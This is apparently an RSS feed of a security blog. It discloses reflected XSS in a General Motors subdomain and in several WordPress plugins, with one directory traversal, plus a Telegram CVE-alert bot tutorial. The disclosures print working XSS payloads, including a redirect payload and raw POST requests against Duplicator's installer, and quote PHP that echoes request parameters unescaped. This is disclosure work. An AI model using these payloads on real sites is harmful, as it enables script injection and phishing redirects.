SecurityTrooper https://securitytrooper.com/en/ SecurityTrooper Sun, 06 Dec 2020 00:27:05 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Cross Site Scripting (XSS) Reflected in one of the subdomains of “General Motors”(Bugbounty) https://securitytrooper.com/en/cross-site-scripting-xss-reflected-in-one-of-the-subdomains-of-general-motorsbugbounty https://securitytrooper.com/en/cross-site-scripting-xss-reflected-in-one-of-the-subdomains-of-general-motorsbugbounty#respond Sun, 06 Dec 2020 00:24:05 +0000 https://securitytrooper.com/?p=258 In this post I show you how I found a Cross Site Scripting (XSS) Reflected in one of the subdomains of “General Motors”. The first thing to make clear is that a company that is affiliated to a BugBounty program… Continue Reading

La entrada Cross Site Scripting (XSS) Reflected in one of the subdomains of “General Motors”(Bugbounty) se publicó primero en SecurityTrooper.

]]>
In this post I show you how I found a Cross Site Scripting (XSS) Reflected in one of the subdomains of “General Motors”.

Resultado de imagen

The first thing to make clear is that a company that is affiliated to a BugBounty program (hackerone.com) is allowed to analyze it. Remember that if they are not affiliated to these programs and we attack them, we can get into trouble, and we must warn them before publishing these vulnerabilities.

Another thing is that belonging to these programs means that the chances of finding some type of vulnerability are very low.

For this reason, it is advisable to search within their subdomains to increase the chances of finding any of the vulnerabilities in the OWASP Top 10:

Resultado de imagen de top 10 owasp 2017

In this case, I used the Sublist3r script (https://github.com/aboul3la/Sublist3r) to list the gm.com subdomains.

After weeks of searching, I will focus on the subdomain supply.eur.gm.com.

This subdomain caught my attention because it looks like an old website.

After making a lot of tests (users enumeration, directories listing, SQLi…) I found that it did not make a correct control of exceptions when forcing an error, moreover, this error showed me all the text contained in the URL.

Taking advantage of this error, I generated an injection of JavaScript code by not correctly filtering the values entered in the URL.

Finally, I prepared two proofs of concept to send to the BugBounty program that GM has on the web https://www.hackerone.com/

[POC 1] Payload: <img%20src=a%20onerror=alert(“XSS”)>

[POC 2] Payload: <img onerror=javascript:window.location.replace(‘http:www.google.com’) src=”x”>

These XSS vulnerabilities type allow an attacker to, for example, redirect a legitimate sub-domain to a cloned website to achieve a phishing attack.

Unfortunately, the compensation for the work done by GM was zero, and this often happens.

La entrada Cross Site Scripting (XSS) Reflected in one of the subdomains of “General Motors”(Bugbounty) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/cross-site-scripting-xss-reflected-in-one-of-the-subdomains-of-general-motorsbugbounty/feed 0
Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 https://securitytrooper.com/en/smush-image-2-7-4-1-directory-traversal-cve-2017-15079-2 https://securitytrooper.com/en/smush-image-2-7-4-1-directory-traversal-cve-2017-15079-2#respond Fri, 09 Feb 2018 10:48:00 +0000 https://securitytrooper.com/?p=165 I’ll talk about a Directory Traversa that I found in a well-known plugin but I have to say that it’s a bit limited because it only lists folders. Here’s a video where I made a POC I’m sorry I didn’t… Continue Reading

La entrada Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 se publicó primero en SecurityTrooper.

]]>
I’ll talk about a Directory Traversa that I found in a well-known plugin but I have to say that it’s a bit limited because it only lists folders.
Here’s a video where I made a POC

I’m sorry I didn’t put more information about the code you use.

La entrada Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/smush-image-2-7-4-1-directory-traversal-cve-2017-15079-2/feed 0
My first CVE by 2018 CVE-2018-5316 https://securitytrooper.com/en/my-first-cve-by-2018-cve-2018-5316 https://securitytrooper.com/en/my-first-cve-by-2018-cve-2018-5316#respond Fri, 09 Feb 2018 10:31:53 +0000 https://securitytrooper.com/?p=157 Though the vulnerability I tracked her down last year. Mitre has decided to assign it to me this year 2018. The CVE is based on a Cross-site scripting in the plugin “SagePay Server Gateway for WooCommerce” version 1.0.7. This vulnerability… Continue Reading

La entrada My first CVE by 2018 CVE-2018-5316 se publicó primero en SecurityTrooper.

]]>
Though the vulnerability I tracked her down last year. Mitre has decided to assign it to me this year 2018. The CVE is based on a Cross-site scripting in the plugin “SagePay Server Gateway for WooCommerce” version 1.0.7.

This vulnerability is found in the “page” parameter in the”/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect. php” file, which lacks correct filtering methods.

<?php    
    
    $res =  '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' .
            '<html><head>' .
            '<script type="text/javascript"> function OnLoadEvent() { document.form.submit(); }</script>' .
            '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />' .
            '<title>3D-Secure Redirect</title></head>' . 
            '<body OnLoad="OnLoadEvent();">' .
            '<form name="form" action="'. urldecode($_GET["page"]) . '" method="POST"  target="_top" >' .
            '<noscript>' .
            '<center><p>Please click button below to Authenticate your card</p><input type="submit" value="Go"/></p></center>' .
            '</noscript>' .
            '</form></body></html>';
            
    echo $res;
?>

The following screenshot verifies that the code is executed correctly.

 

La entrada My first CVE by 2018 CVE-2018-5316 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/my-first-cve-by-2018-cve-2018-5316/feed 0
Z-URL Preview (XSS) CVE-2017-18012 https://securitytrooper.com/en/z-url-preview-xss-2 https://securitytrooper.com/en/z-url-preview-xss-2#respond Thu, 21 Dec 2017 08:16:14 +0000 https://securitytrooper.com/?p=143 A few days ago I finally got in touch with the developer of the plugin “Z-URL Preview” where I told him that I had a Cross-site scripting in version 1.6.1. This vulnerability is found in the “url” parameter in the”/wp-content/plugins/z-url-preview/class.… Continue Reading

La entrada Z-URL Preview (XSS) CVE-2017-18012 se publicó primero en SecurityTrooper.

]]>
A few days ago I finally got in touch with the developer of the plugin “Z-URL Preview” where I told him that I had a Cross-site scripting in version 1.6.1.

This vulnerability is found in the “url” parameter in the”/wp-content/plugins/z-url-preview/class. zlinkpreview. php” file which, as you can see in the following screenshot, the constructor of the “ZLinkPreview” class lacks the necessary mechanisms to prevent code injection.

<?php

class ZLinkPreview {

    var $description;
    var $title;
    var $image = array();
    var $url;
    var $html;
    var $parsemode;
    var $curlerrno;
    var $curlerr;
    var $curlinf = array();
    var $htmlblank;

    function __construct($url) {

        if (!preg_match("~^(?:f|ht)tps?://~i", $url)) {
            $url = "http://" . $url . '/';
        }

        $this->url = $url;
        $this->getHTML();
    }

    function setParseMode($m = "r") {
        $this->parsemode = $m;
    }

    function getHTML() {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . "/cacert.pem");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $this->html = curl_exec($ch);
        $this->curlinf = curl_getinfo($ch);
        $this->curlerr = curl_error($ch);
        $this->curlerrno = curl_errno($ch);

        if (!$this->html) {
            //echo 'Error: ' . curl_error($ch);
            //die();
            $this->htmlblank = true;
        }
        curl_close($ch);
//        $this->html = str_replace("<head>", "<head><base href=\"$this->url\">", $this->html);
    }

    function getcurlerrno() {
        echo $this->curlerrno;
    }

    function getcurlerr() {
        echo $this->curlerr;
    }

    function getcurlinf() {
        print_r($this->curlinf);
    }

    function getDescription() {
        if ($this->parsemode == "d") {
            $res = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:description
                if ($meta->getAttribute('property') == "og:description") {
                    $res = $meta->getAttribute('content');
                    break;
                }
            }
            if ($res == "") {  // failback to basic description
                foreach($dom->getElementsByTagName('meta') as $meta) {
                    if ($meta->getAttribute('name') == "description") {
                        $res = $meta->getAttribute('content');
                        break;
                    }
                }
            }
            if ($res == "") {  // failback to first p if meta's missing or blank
                $res = $dom->getElementsByTagName('p')->item(0)->nodeValue;
            }
            echo $res;
        } else {
            if (preg_match_all('/<meta(?=[^>]*name="description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            } else if (preg_match_all('/<meta(?=[^>]*name="og:description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            }
        }
    }

    function getTitle() {
        if ($this->parsemode == "d") {
            $title = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:title
                if ($meta->getAttribute('property') == "og:title") {
                    $title = $meta->getAttribute('content');
                    break;
                }
            }
            if ($title == "") {  // failback to title if og:title missing or blank
                $title = $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
            if ($title == "") {  // failback to h1 if title missing or blank
                $title = $dom->getElementsByTagName('h1')->item(0)->nodeValue;
            }
            echo $title;
        } else {
            // if (preg_match("/<title>(.+)<\/title>/si", $this->html, $matches)) { // Changed due to issue with BBC news
            if (preg_match("/<title>(.+)<\/title>/i", $this->html, $matches)) {
                echo $matches[1];
            } else {
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                echo $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
        }
    }

    function getImage($multiple = false) {
        if ($this->parsemode == "d") {
                $res = "";
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:image
                        if ($meta->getAttribute('property') == "og:image") {
                                $res = $meta->getAttribute('content');
                                break;
                        }
                }
                if ($res == "") {  // failback to first img if og:image missing or blank
                        $res = @$dom->getElementsByTagName('img')->item(0)->getAttribute('src');
                }
                if ($res != "") {  // only try and clean up the url if an image was found
                        // we need the fqdn without the trailing /
                        $urlo = rtrim ($this->url,"/");

                        $res = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $res);
                        if (substr($res, 0, 4) == "http") { // if the url starts with http we're done
                                $reso = $res;
                        } else {
                                if (substr($res, 0, 1) == "/") {  // if url starts with / then it could be an absolute path
                                        if (substr($res, 0, 2) == "//") {  // ok, not absolute, but for dual-mode http(s) sites
                                                $reso = "http:" . $res;
                                        } elseif (substr($res, 0, 3) == "://") {  // for dual-mode http(s) sites with :
                                                $reso = "http" . $res;
                                        } else {  // absolute to prepend fqdn
                                                $reso = $urlo . $res;
                                        }
                                } else {  // doesn't start with a / so a relative path - for now assume a / base path
                                        $reso = $urlo . "/" . $res;
                                }
                        }
                }
                echo $reso;
        } else {
            /* First we will check if facebook opengraph image tag exist */
            if (preg_match_all('/<meta(?=[^>]*property="og:image")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $content);
                    if ($key == 5)
                        break;
                }
            }

            /* If not then we will get the first image from the html source */
            else if (preg_match_all('/<img [^>]*src=["|\']([^"|\']+)/i', $this->html, $matches)) {
                foreach ($matches[1] as $key => $value) {
                    if (strpos($value, 'http') === false) {
                        // If trailing slash is missing from domain AND image path does not start with slash, insert one - technically should check for base href, but later :-)
                        if ((substr($this->url, -1) != "/") && (substr($value, 0, 1) != "/")) {
                            $image[] = $this->url . '/' . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        } else {
                            $image[] = $this->url . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        }
                    } else {
                        $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                    }

                    if ($key == 5)
                        break;
                }
            }
            $image_index = (isset($_GET['image_no'])) ? $_GET['image_no'] - 1 : 0;
            echo (!$multiple) ? $image[$image_index] : str_replace(array("\\", "\"", " "), array("", "", ""), json_encode($image));
        }
    }

}

$zlinkPreview = new ZLinkPreview($_GET['url']);
define('SHORTINIT', true);
require_once('../../../wp-load.php');
$linkmode = get_option('zurlpreview_linkmode');
switch ($linkmode) {
    case "target-blank":
        $linkmodehtml = ' target="_blank"';
        break;
    case "target-newwindow":
        $linkmodehtml = ' target="newwindow"';
        break;
    case "rel-external":
        $linkmodehtml = ' rel="external"';
        break;
    default:
        $linkmodehtml = '';
}
$zlinkPreview->setParseMode(get_option('zurlpreview_parsemode'));
?>
<div id="at_zurlpreview">
            <?php
            if ($zlinkPreview->htmlblank == true) {
            ?>
            <p class="imgd">Error No: <?php $zlinkPreview->getcurlerrno();  ?></p>
            <p class="imgd">Error: <?php $zlinkPreview->getcurlerr();  ?></p>
            <p class="imgd">Info: <?php $zlinkPreview->getcurlinf();  ?></p>
            <?php
            } else {
            ?>
            <?php
            if (get_option('zurlpreview_noheadtag') != "Yes") {
                   if (get_option('zurlpreview_linkheader') == "Yes") {
                    ?>
                    <h2><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php $zlinkPreview->getTitle();  ?></a></h2>
                    <?php
                } else {
                    ?>
                    <h2><?php $zlinkPreview->getTitle();  ?></h2>
                    <?php
                }
            }
            ?>
            <h3 style="display:none;"><?php $zlinkPreview->getTitle();  ?></h3>
            <?php
            if (get_option('zurlpreview_noimage') != "Yes") {
                   if (get_option('zurlpreview_linkimage') == "Yes") {
                    ?>
                    <p class="imgp"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><img data-src = "<?php $zlinkPreview->getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></a></p>
                    <?php
                } else {
                    ?>
                    <p class="imgp"><img data-src = "<?php $zlinkPreview->getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></p>
                    <?php
                }
            }
            if (get_option('zurlpreview_nointro') != "Yes") {
            ?>
            <p class="imgd"><?php $zlinkPreview->getDescription();  ?></p>
            <?php
            }
            if (get_option('zurlpreview_titlelink') == "Yes") {
            ?>
            <p class="imgs"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo htmlspecialchars($zlinkPreview->getTitle());  ?></a></p>
            <?php
            } else {
            ?>
            <p class="imgs"><?php echo get_option('zurlpreview_linktxt'); ?> <a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo preg_replace('#^https?://#', '', $zlinkPreview->url);  ?></a></p>
            <?php
            }
            ?>

            <?php } ?>
</div>

The following screenshot verifies that the code is executed correctly.

The code inside the HTML body is checked in the following screenshot.

 

 

La entrada Z-URL Preview (XSS) CVE-2017-18012 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/z-url-preview-xss-2/feed 0
Wunderbar Basic (XSS) https://securitytrooper.com/en/wunderbar-basic-xss-2 https://securitytrooper.com/en/wunderbar-basic-xss-2#respond Wed, 20 Dec 2017 07:42:45 +0000 https://securitytrooper.com/?p=135 I continue found XSS into WordPress plugins, in this case the plugin is called “Wunderbar Basic” version 1.1.3. The security bug is found in the “home” parameter in the”wp-content/plugins/wunderbar-basic-wysiwyyg-front-end-editor/wb-adminbar. php” file which, as can be seen in the following capture,… Continue Reading

La entrada Wunderbar Basic (XSS) se publicó primero en SecurityTrooper.

]]>
I continue found XSS into WordPress plugins, in this case the plugin is called “Wunderbar Basic” version 1.1.3.

The security bug is found in the “home” parameter in the”wp-content/plugins/wunderbar-basic-wysiwyyg-front-end-editor/wb-adminbar. php” file which, as can be seen in the following capture, lacks the necessary mechanisms to prevent code injection.

<div id="wbinterior" >
<div id="wunderbarlogo"  >
    <a class='wblogobutton thickbox' title='Wunderbar Help' href='<?php echo $_REQUEST['home']?>help.html?width=500&height=300&TB_iframe=true' target='_blank'>
        <img src="<?php echo $_REQUEST['home']?>images/wb-logo-rev.png" alt="The Wunderbar" />
        <span id='wbcmds'>&nbsp; &nbsp; HELP / UPGRADE</span>
    </a>
    </div>
<div id="fakeeditarea" style='display:none'></div>

 

The malicious code runs without problems.

This screenshot shows the code inside the HTML body.

  • Publication in Packetstormsecurity:
    https://packetstormsecurity.com/files/145434/WordPress-Wunderbar-Basic-1.1.3-Cross-Site-Scripting.html

La entrada Wunderbar Basic (XSS) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/wunderbar-basic-xss-2/feed 0
Pinterest Badge (XSS) https://securitytrooper.com/en/pinterest-badge-xss-2 https://securitytrooper.com/en/pinterest-badge-xss-2#respond Tue, 19 Dec 2017 09:49:44 +0000 https://securitytrooper.com/?p=127 Today I will tell you about another Cross-site scripting that I discovered inside “Pinterest Badge” plugin version 1.8.0. The security fault is found in the “uid” parameter in the”/wp-content/plugins/pinterest-badge/pinterestbadgedetails. php” file which, as can be seen in the following capture,… Continue Reading

La entrada Pinterest Badge (XSS) se publicó primero en SecurityTrooper.

]]>
Today I will tell you about another Cross-site scripting that I discovered inside “Pinterest Badge” plugin version 1.8.0.

The security fault is found in the “uid” parameter in the”/wp-content/plugins/pinterest-badge/pinterestbadgedetails. php” file which, as can be seen in the following capture, lacks the necessary mechanisms to prevent code injection.

The malicious code runs without problems.

This screenshot shows the code inside the HTML body.

 

 

La entrada Pinterest Badge (XSS) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/pinterest-badge-xss-2/feed 0
Send the latest CVEs to your Telegram https://securitytrooper.com/en/send-the-latest-cves-to-your-telegram https://securitytrooper.com/en/send-the-latest-cves-to-your-telegram#respond Mon, 18 Dec 2017 11:49:42 +0000 https://securitytrooper.com/?p=119 In this article I will explain how to create a bot that allows you to be informed of the latest CVEs that are being published at the moment. The first thing we have to do is to install our Telegram… Continue Reading

La entrada Send the latest CVEs to your Telegram se publicó primero en SecurityTrooper.

]]>
In this article I will explain how to create a bot that allows you to be informed of the latest CVEs that are being published at the moment.

The first thing we have to do is to install our Telegram Pyhon library using pip.

pip install python-telegram-bot

For the development of our bot you have to make use of “The Botfather” (https://core.telegram.org/bots) which consists of an application created by Telegram that will act as a mediator between Telegram and our code.

To do this, you must access the “BotFather” channel through one of the platforms offered by Telefram (iOS, Android or Windows) or (Mac, Windows, Linux, web version).
In this case, I will use your web version (https://web.telegram.org/).

 

Once inside that channel, just put “/start” then “/newbot” and then enter the name of your bot, remember that it has to go just “_bot” or “bot”.

With the previous message, we will confirm that everything has been created correctly.
It is very important that we have our Bot in contacts because you will need to know the chat_id we have in common.
Surely there are ways to get this “chat_id” simpler but I will explain the one I use.

This Script will help you get the chat_id but for it to work you have to (previously) have talked to your bot (e. g. from the chat bot: t. me/XXXXXXXX_bot)
Remember to put your TOKEN previously obtained

# -*- coding: utf-8 -*-
#Importamos liberia telegram
import telegram
 
#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
bot = telegram.Bot(token=TOKEN)
 
updates = bot.get_updates()
print([u.message.chat_id for u in updates])

The result would be something like that:

The chat_id will be in the style of 17XXXXX. This chat_id can also be a negative value (e. g. -17XXXXXX).

Now with your chat_id and TOKEN we can use this script to get the latest CVEs that are being published via Twitter.

# -*- coding: utf-8 -*-
#Importamos liberia de Telegram y BeautifulSoup
import bs4,telegram

#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
mi_bot = telegram.Bot(token=TOKEN)

#ID del chat de Telefram
chat_id = 1000000000000

#Nombre de la cuenta que se quiere obtener los Twits
account = "CVEnew"

#Obtenemos el contenido de de la página de twitter 
result = requests.get("https://twitter.com/"+account)
c = result.content

#Nos ayudamos la librería BeautifulSoup
soup = bs4.BeautifulSoup(c, "html.parser")

for div in soup.find_all("li", {"class":"stream-item"}):
    #Obtención de ID único que usa Twitter
    item_id = div["data-item-id"]
    
    #Se obtiene el contenido del Twitt
    content = str(div.find("p", {"class":"TweetTextSize"}).text)
    
    #Se envia el resultado a mi chat de telegram
    mi_bot.sendMessage(chat_id=chat_id, text="@" + account + " -- " + content)

Remember that this Script is an example of how you get the Twits from the CVEnew channel and only collects the Twits, that is, you would need to implement a Cronjob that constantly returns these Twits and work under a database that controls the notifications received.

La entrada Send the latest CVEs to your Telegram se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/send-the-latest-cves-to-your-telegram/feed 0
WP Mailster (XSS) CVE-2017-17451 https://securitytrooper.com/en/wp-mailster-xss-cve-2017-17451-2 https://securitytrooper.com/en/wp-mailster-xss-cve-2017-17451-2#respond Mon, 18 Dec 2017 11:45:10 +0000 https://securitytrooper.com/?p=115 Today I will tell you about another Cross-site scripting that I discovered the plugin “WP Mailster” version 1.5.4.0 of the company Brandtoss (https://wpmailster.com/) The security bug is found in the month parameter in the”wp-mailster/view/subscription/unsubscribe2. php” file which, as you can… Continue Reading

La entrada WP Mailster (XSS) CVE-2017-17451 se publicó primero en SecurityTrooper.

]]>
Today I will tell you about another Cross-site scripting that I discovered the plugin “WP Mailster” version 1.5.4.0 of the company Brandtoss (https://wpmailster.com/)

The security bug is found in the month parameter in the”wp-mailster/view/subscription/unsubscribe2. php” file which, as you can see in the following screenshot, lacks the necessary mechanisms to prevent code injection.

  <h2 class="componentheading mailsterUnsubscriberHeader">Unsubscription</h2>
    <div class="contentpane">
        <div id="mailsterContainer">
            <div id="mailsterUnsubscriber">
                <div id="mailsterUnsubscriberDescription"><?php echo $_GET['mes']; ?></div>
            </div>
        </div>
    </div>

 

The malicious code runs without problems

This screenshot shows the code inside the HTML body.

 

 

La entrada WP Mailster (XSS) CVE-2017-17451 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/wp-mailster-xss-cve-2017-17451-2/feed 0
Emag Marketplace (XSS) CVE-2017-17043 https://securitytrooper.com/en/emag-marketplace-xss-cve-2017-17043-2 https://securitytrooper.com/en/emag-marketplace-xss-cve-2017-17043-2#respond Mon, 18 Dec 2017 11:43:14 +0000 https://securitytrooper.com/?p=113 A new Cross-site scripting is presented to me in the plugin “Emag Marketplace Connector” version 1.0.1 of the company Zitec (https://zitec.com/). The vulnerable parameter is found in line 1 of the file “awb-meta-box. php” in the folder “/plugins/emag-marketplace-connector/tempates/order/”. Using this… Continue Reading

La entrada Emag Marketplace (XSS) CVE-2017-17043 se publicó primero en SecurityTrooper.

]]>
A new Cross-site scripting is presented to me in the plugin “Emag Marketplace Connector” version 1.0.1 of the company Zitec (https://zitec.com/).

The vulnerable parameter is found in line 1 of the file “awb-meta-box. php” in the folder “/plugins/emag-marketplace-connector/tempates/order/”.

<input type="hidden" name="emkp_awb[order_id]" value="<?php echo $_GET['post']; ?>"/>

Using this vulnerability we inject our malicious code to check if our code is actually executed.

This screenshot shows the code inside the HTML body.

 

 

 

La entrada Emag Marketplace (XSS) CVE-2017-17043 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/emag-marketplace-xss-cve-2017-17043-2/feed 0
Duplicator Migration (XSS) CVE-2017-16815 https://securitytrooper.com/en/duplicator-migration-xss-cve-2017-16815-2 https://securitytrooper.com/en/duplicator-migration-xss-cve-2017-16815-2#respond Mon, 18 Dec 2017 11:40:54 +0000 https://securitytrooper.com/?p=111 I keep finding Cross-site scripting in wordpress plugins, I’m going to have to automate it somehow:). In this case in a plugin called “Duplicator Migration” version 1.2.28 (https://es.wordpress.org/plugins/duplicator/) which is active in more than 1 million wordpress and is developed… Continue Reading

La entrada Duplicator Migration (XSS) CVE-2017-16815 se publicó primero en SecurityTrooper.

]]>
I keep finding Cross-site scripting in wordpress plugins, I’m going to have to automate it somehow:).
In this case in a plugin called “Duplicator Migration” version 1.2.28 (https://es.wordpress.org/plugins/duplicator/) which is active in more than 1 million wordpress and is developed by Snapcreek (https://snapcreek.com).
It can explode using two attack vectors:
From the view. step4. php file:

POST
/wordpress//wp-content/plugins/duplicator/installer/build/view.step4.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.8
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

url_new="><script>alert(1)</script>demo

From the view.step2.php file:

POST
/wordpress//wp-content/plugins/duplicator/installer/build/view.step2.php
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.8
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

logging="><script>alert(1)</script>demo

I’m sorry I didn’t show any capture of the XSS execution but I didn’t need to do it because the Snapcreek developers didn’t ask me to.

La entrada Duplicator Migration (XSS) CVE-2017-16815 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/en/duplicator-migration-xss-cve-2017-16815-2/feed 0